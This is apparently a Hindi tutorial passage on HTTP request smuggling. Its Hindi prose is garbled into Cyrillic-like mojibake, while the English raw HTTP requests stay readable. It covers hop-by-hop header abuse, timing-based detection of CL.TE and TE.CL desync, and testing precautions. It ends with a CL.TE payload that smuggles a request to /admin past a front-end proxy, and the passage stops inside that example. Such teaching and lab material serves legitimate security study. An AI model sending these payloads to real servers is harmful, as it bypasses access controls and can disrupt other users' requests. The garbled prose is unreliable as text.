рдпрд╣ рддрдХрдиреАрдХ рдЙрди рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ рднреА рдЙрдкрдпреЛрдЧреА рд╣реИ рдЬрд╣рд╛рдБ рдкреНрд░рд╛рд░рдВрднрд┐рдХ HTTP рдбреЗрдЯрд╛ рдкрдврд╝рддреЗ рд╕рдордп рдПрдХ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреЛ рддреЛрдбрд╝рдирд╛ рд╕рдВрднрд╡ рд╣реИ рд▓реЗрдХрд┐рди рдХрдиреЗрдХреНрд╢рди рдХреЛ рдмрдВрдж рдХрд┐рдП рдмрд┐рдирд╛ред рдЗрд╕ рддрд░рд╣, HTTP рдЕрдиреБрд░реЛрдз рдХрд╛ рд╢рд░реАрд░ рдЕрдЧрд▓реЗ HTTP рдЕрдиреБрд░реЛрдз рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирд╛ рдЬрд╛рдПрдЧрд╛ред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЬреИрд╕рд╛ рдХрд┐ рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, Werkzeug рдореЗрдВ рдХреБрдЫ Unicode рд╡рд░реНрдг рднреЗрдЬрдирд╛ рд╕рдВрднрд╡ рдерд╛ рдФрд░ рдЗрд╕рд╕реЗ рд╕рд░реНрд╡рд░ рдЯреВрдЯ рдЬрд╛рдПрдЧрд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ HTTP рдХрдиреЗрдХреНрд╢рди Connection: keep-alive рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛, рддреЛ рдЕрдиреБрд░реЛрдз рдХрд╛ рд╢рд░реАрд░ рдирд╣реАрдВ рдкрдврд╝рд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдХрдиреЗрдХреНрд╢рди рдЕрднреА рднреА рдЦреБрд▓рд╛ рд░рд╣реЗрдЧрд╛, рдЗрд╕рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд╛ рд╢рд░реАрд░ рдЕрдЧрд▓реЗ HTTP рдЕрдиреБрд░реЛрдз рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирд╛ рдЬрд╛рдПрдЧрд╛ред

рд╣реЙрдк-рдмрд╛рдп-рд╣реЙрдк рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдордЬрдмреВрд░ рдХрд░рдирд╛

рд╣реЙрдк-рдмрд╛рдп-рд╣реЙрдк рд╣реЗрдбрд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЖрдк рдкреНрд░реЙрдХреНрд╕реА рдХреЛ рд╣реЗрдбрд░ Content-Length рдпрд╛ Transfer-Encoding рдХреЛ рд╣рдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ HTTP рдЕрдиреБрд░реЛрдз рд╕реНрдордЧрд▓рд┐рдВрдЧ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХреЗред

Connection: Content-Length

For рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП hop-by-hop headers рдЬрд╛рдПрдВ:

hop-by-hop headers

HTTP Request Smuggling рдЦреЛрдЬрдирд╛

HTTP request smuggling рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдЕрдХреНрд╕рд░ рд╕рдордп рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ рдпрд╣ рджреЗрдЦрдиреЗ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИрдВ рдХрд┐ рд╕рд░реНрд╡рд░ рдХреЛ рд╣реЗрд░рдлреЗрд░ рдХрд┐рдП рдЧрдП рдЕрдиреБрд░реЛрдзреЛрдВ рдХрд╛ рдЬрд╡рд╛рдм рджреЗрдиреЗ рдореЗрдВ рдХрд┐рддрдирд╛ рд╕рдордп рд▓рдЧрддрд╛ рд╣реИред рдпреЗ рддрдХрдиреАрдХреЗрдВ CL.TE рдФрд░ TE.CL рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧреА рд╣реИрдВред рдЗрди рддрд░реАрдХреЛрдВ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдРрд╕реА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рд░рдгрдиреАрддрд┐рдпрд╛рдБ рдФрд░ рдЙрдкрдХрд░рдг рднреА рд╣реИрдВ:

рд╕рдордп рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ CL.TE рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрдирд╛

  • рд╡рд┐рдзрд┐:

  • рдПрдХ рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ рдЬреЛ, рдпрджрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрдордЬреЛрд░ рд╣реИ, рддреЛ рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░ рдХреЛ рдЕрддрд┐рд░рд┐рдХреНрдд рдбреЗрдЯрд╛ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░реЗрдЧрд╛ред

  • рдЙрджрд╛рд╣рд░рдг:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • рдЕрд╡рд▓реЛрдХрди:

  • рдлреНрд░рдВрдЯ-рдПрдВрдб рд╕рд░реНрд╡рд░ Content-Length рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЕрдиреБрд░реЛрдз рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╕рдВрджреЗрд╢ рдХреЛ рд╕рдордп рд╕реЗ рдкрд╣рд▓реЗ рдХрд╛рдЯ рджреЗрддрд╛ рд╣реИред

  • рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░, рдЬреЛ рдПрдХ рдЪрдВрдХреНрдб рд╕рдВрджреЗрд╢ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ, рдЕрдЧрд▓реЗ рдЪрдВрдХ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдХрднреА рдирд╣реАрдВ рдЖрддрд╛, рдЬрд┐рд╕рд╕реЗ рджреЗрд░реА рд╣реЛрддреА рд╣реИред

  • рд╕рдВрдХреЗрдд:

  • рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЯрд╛рдЗрдордЖрдЙрдЯ рдпрд╛ рд▓рдВрдмреА рджреЗрд░реАред

  • рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░ рд╕реЗ 400 Bad Request рддреНрд░реБрдЯрд┐ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛, рдХрднреА-рдХрднреА рд╡рд┐рд╕реНрддреГрдд рд╕рд░реНрд╡рд░ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рдеред

рд╕рдордп рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ TE.CL рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрдирд╛

  • рд╡рд┐рдзрд┐:

  • рдПрдХ рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ рдЬреЛ, рдпрджрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрдордЬреЛрд░ рд╣реИ, рддреЛ рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░ рдХреЛ рдЕрддрд┐рд░рд┐рдХреНрдд рдбреЗрдЯрд╛ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░реЗрдЧрд╛ред

  • рдЙрджрд╛рд╣рд░рдг:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • рдЕрд╡рд▓реЛрдХрди:

  • рдлреНрд░рдВрдЯ-рдПрдВрдб рд╕рд░реНрд╡рд░ Transfer-Encoding рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЕрдиреБрд░реЛрдз рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдкреВрд░реЗ рд╕рдВрджреЗрд╢ рдХреЛ рдЕрдЧреНрд░реЗрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред

  • рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░, рдЬреЛ Content-Length рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдПрдХ рд╕рдВрджреЗрд╢ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ, рдЕрддрд┐рд░рд┐рдХреНрдд рдбреЗрдЯрд╛ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдХрднреА рдирд╣реАрдВ рдЖрддрд╛, рдЬрд┐рд╕рд╕реЗ рджреЗрд░реА рд╣реЛрддреА рд╣реИред

рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рдЕрдиреНрдп рддрд░реАрдХреЗ

  • рдбрд┐рдлрд░реЗрдВрд╢рд┐рдпрд▓ рд░рд┐рд╕реНрдкреЙрдиреНрд╕ рдПрдирд╛рд▓рд┐рд╕рд┐рд╕:

  • рдПрдХ рдЕрдиреБрд░реЛрдз рдХреЗ рдереЛрдбрд╝реЗ рднрд┐рдиреНрди рд╕рдВрд╕реНрдХрд░рдг рднреЗрдЬреЗрдВ рдФрд░ рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рд╕рд░реНрд╡рд░ рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рддрд░реАрдХреЗ рд╕реЗ рднрд┐рдиреНрди рд╣реЛрддреА рд╣реИрдВ, рдЬреЛ рдПрдХ рдкрд╛рд░реНрд╕рд┐рдВрдЧ рд╡рд┐рд╕рдВрдЧрддрд┐ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддреА рд╣реИрдВред

  • рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ:

  • Burp Suite рдХреЗ 'HTTP Request Smuggler' рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЗрди рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ рдЕрд╕реНрдкрд╖реНрдЯ рдЕрдиреБрд░реЛрдз рднреЗрдЬрдХрд░ рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдХреЗред

  • Content-Length рд╡реИрд░рд┐рдПрдВрд╕ рдкрд░реАрдХреНрд╖рдг:

  • рдРрд╕реЗ рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ рдЬрд┐рдирдореЗрдВ рднрд┐рдиреНрди Content-Length рдорд╛рди рд╣реЛрдВ рдЬреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рд╛рдордЧреНрд░реА рдХреА рд▓рдВрдмрд╛рдИ рдХреЗ рд╕рд╛рде рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддреЗ рдФрд░ рджреЗрдЦреЗрдВ рдХрд┐ рд╕рд░реНрд╡рд░ рдРрд╕реЗ рдЕрд╕рдВрдЧрддрд┐рдпреЛрдВ рдХреЛ рдХреИрд╕реЗ рд╕рдВрднрд╛рд▓рддрд╛ рд╣реИред

  • Transfer-Encoding рд╡реИрд░рд┐рдПрдВрд╕ рдкрд░реАрдХреНрд╖рдг:

  • рдЕрд╕реНрдкрд╖реНрдЯ рдпрд╛ рдЧрд▓рдд Transfer-Encoding рд╣реЗрдбрд░ рд╡рд╛рд▓реЗ рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ рдФрд░ рджреЗрдЦреЗрдВ рдХрд┐ рдлреНрд░рдВрдЯ-рдПрдВрдб рдФрд░ рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░ рдРрд╕реЗ рд╣реЗрд░рдлреЗрд░реЛрдВ рдкрд░ рдХреИрд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рддреЗ рд╣реИрдВред

HTTP Request Smuggling Vulnerability Testing

рд╕рдордп рддрдХрдиреАрдХреЛрдВ рдХреА рдкреНрд░рднрд╛рд╡рд╢реАрд▓рддрд╛ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдХреНрд▓рд╛рдЗрдВрдЯ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд╣реЗрд░рдлреЗрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдПрдХ рд╕реАрдзрд╛ рддрд░реАрдХрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдЖрдк рдЕрдкрдиреЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд╡рд┐рд╖рд╛рдХреНрдд рдмрдирд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, / рдкрд░ рдПрдХ рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рдЬрд┐рд╕рд╕реЗ 404 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рд╣реЛред рдкрд╣рд▓реЗ рдЪрд░реНрдЪрд╛ рдХрд┐рдП рдЧрдП CL.TE рдФрд░ TE.CL рдЙрджрд╛рд╣рд░рдг Basic Examples рдореЗрдВ рджрд┐рдЦрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдХреИрд╕реЗ рдПрдХ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рдЕрдиреБрд░реЛрдз рдХреЛ рд╡рд┐рд╖рд╛рдХреНрдд рдХрд░рдХреЗ 404 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рднрд▓реЗ рд╣реА рдХреНрд▓рд╛рдЗрдВрдЯ рдПрдХ рдЕрд▓рдЧ рд╕рдВрд╕рд╛рдзрди рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд░рд╣рд╛ рд╣реЛред

рдореБрдЦреНрдп рд╡рд┐рдЪрд╛рд░

рдЕрдиреБрд░реЛрдз рд╕реНрдордЧрд▓рд┐рдВрдЧ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рддреЗ рд╕рдордп рдЕрдиреНрдп рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рд╣рд╕реНрддрдХреНрд╖реЗрдк рдХрд░рддреЗ рд╕рдордп рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦреЗрдВ:

  • рдЕрд▓рдЧ рдиреЗрдЯрд╡рд░реНрдХ рдХрдиреЗрдХреНрд╢рди: "рд╣рдорд▓рд╛" рдФрд░ "рд╕рд╛рдорд╛рдиреНрдп" рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдЕрд▓рдЧ рдиреЗрдЯрд╡рд░реНрдХ рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреЗрдЬрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рджреЛрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╣реА рдХрдиреЗрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреЛ рдорд╛рдиреНрдп рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред

  • рд╕рдВрдЧрдд URL рдФрд░ рдкреИрд░рд╛рдореАрдЯрд░: рджреЛрдиреЛрдВ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдорд╛рди URLs рдФрд░ рдкреИрд░рд╛рдореАрдЯрд░ рдирд╛рдореЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред рдЖрдзреБрдирд┐рдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЕрдХреНрд╕рд░ URL рдФрд░ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░реЛрдВ рдкрд░ рд░реВрдЯ рдХрд░рддреЗ рд╣реИрдВред рдЗрдиреНрд╣реЗрдВ рдореЗрд▓ рдХрд░рдиреЗ рд╕реЗ рдпрд╣ рд╕рдВрднрд╛рд╡рдирд╛ рдмрдврд╝рддреА рд╣реИ рдХрд┐ рджреЛрдиреЛрдВ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдПрдХ рд╣реА рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬреЛ рд╕рдлрд▓ рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреВрд░реНрд╡рд╛рдкреЗрдХреНрд╖рд╛ рд╣реИред

  • рд╕рдордп рдФрд░ рд░реЗрд╕рд┐рдВрдЧ рд╕реНрдерд┐рддрд┐рдпрд╛рдБ: "рд╕рд╛рдорд╛рдиреНрдп" рдЕрдиреБрд░реЛрдз, рдЬреЛ "рд╣рдорд▓рд╛" рдЕрдиреБрд░реЛрдз рд╕реЗ рд╣рд╕реНрддрдХреНрд╖реЗрдк рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ, рдЕрдиреНрдп рд╕рдорд╡рд░реНрддреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рддрд┐рд╕реНрдкрд░реНрдзрд╛ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, "рд╣рдорд▓рд╛" рдЕрдиреБрд░реЛрдз рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж "рд╕рд╛рдорд╛рдиреНрдп" рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВред рд╡реНрдпрд╕реНрдд рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрдгрд╛рдпрдХ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкреБрд╖реНрдЯрд┐ рдХреЗ рд▓рд┐рдП рдХрдИ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред

  • рд▓реЛрдб рдмреИрд▓реЗрдВрд╕рд┐рдВрдЧ рдЪреБрдиреМрддрд┐рдпрд╛рдБ: рдлреНрд░рдВрдЯ-рдПрдВрдб рд╕рд░реНрд╡рд░ рдЬреЛ рд▓реЛрдб рдмреИрд▓реЗрдВрд╕рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реИрдВ, рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд╡рд┐рднрд┐рдиреНрди рдмреИрдХ-рдПрдВрдб рд╕рд┐рд╕реНрдЯрдореЛрдВ рдореЗрдВ рд╡рд┐рддрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ "рд╣рдорд▓рд╛" рдФрд░ "рд╕рд╛рдорд╛рдиреНрдп" рдЕрдиреБрд░реЛрдз рд╡рд┐рднрд┐рдиреНрди рд╕рд┐рд╕реНрдЯрдореЛрдВ рдкрд░ рд╕рдорд╛рдкреНрдд рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рд╣рдорд▓рд╛ рд╕рдлрд▓ рдирд╣реАрдВ рд╣реЛрдЧрд╛ред рдпрд╣ рд▓реЛрдб рдмреИрд▓реЗрдВрд╕рд┐рдВрдЧ рдкрд╣рд▓реВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкреБрд╖реНрдЯрд┐ рдХреЗ рд▓рд┐рдП рдХрдИ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

  • рдЕрдирдкреЗрдХреНрд╖рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рднрд╛рд╡: рдпрджрд┐ рдЖрдкрдХрд╛ рд╣рдорд▓рд╛ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЕрдиреБрд░реЛрдз (рдЬреЛ "рд╕рд╛рдорд╛рдиреНрдп" рдЕрдиреБрд░реЛрдз рдирд╣реАрдВ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдкрдиреЗ рдкрд╣рдЪрд╛рди рдХреЗ рд▓рд┐рдП рднреЗрдЬрд╛ рдерд╛) рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЖрдкрдХрд╛ рд╣рдорд▓рд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддрд╛ рд╣реИред рдирд┐рд░рдВрддрд░ рдкрд░реАрдХреНрд╖рдг рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдмрд╛рдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рд╕рддрд░реНрдХ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред

HTTP Request Smuggling рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ

HTTP Request Smuggling рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдлреНрд░рдВрдЯ-рдПрдВрдб рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдирд╛

рдХрднреА-рдХрднреА, рдлреНрд░рдВрдЯ-рдПрдВрдб рдкреНрд░реЙрдХреНрд╕реА рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддреА рд╣реИрдВ, рдЖрдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рддреА рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрди рдЙрдкрд╛рдпреЛрдВ рдХреЛ HTTP Request Smuggling рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджрд░рдХрд┐рдирд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рддрдХ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдБрдЪ рдорд┐рд▓рддреА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, /admin рддрдХ рдкрд╣реБрдБрдЪ рдмрд╛рд╣рд░реА рд░реВрдк рд╕реЗ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╣реЛ рд╕рдХрддреА рд╣реИ, рдлреНрд░рдВрдЯ-рдПрдВрдб рдкреНрд░реЙрдХреНрд╕реА рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ рдРрд╕реЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЛ рд░реЛрдХрддреА рд╣реИред рдлрд┐рд░ рднреА, рдпрд╣ рдкреНрд░реЙрдХреНрд╕реА рдПрдХ рд╕реНрдордЧрд▓реНрдб HTTP рдЕрдиреБрд░реЛрдз рдХреЗ рднреАрддрд░ рдПрдореНрдмреЗрдбреЗрдб рдЕрдиреБрд░реЛрдзреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдореЗрдВ рд╡рд┐рдлрд▓ рд╣реЛ рд╕рдХрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЗрди рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЫрд┐рджреНрд░ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

HTTP Request Smuggling рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлреНрд░рдВрдЯ-рдПрдВрдб рд╕реБрд░рдХреНрд╖рд╛ рдирд┐рдпрдВрддреНрд░рдгреЛрдВ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЛ рджрд░реНрд╢рд╛рдиреЗ рд╡рд╛рд▓реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдгреЛрдВ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ /admin рдкрде рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддреЗ рд╣реБрдП рдЬреЛ рдЖрдорддреМрд░ рдкрд░ рдлреНрд░рдВрдЯ-рдПрдВрдб рдкреНрд░реЙрдХреНрд╕реА рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реЛрддрд╛ рд╣реИ:

CL.TE рдЙрджрд╛рд╣рд░рдг

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

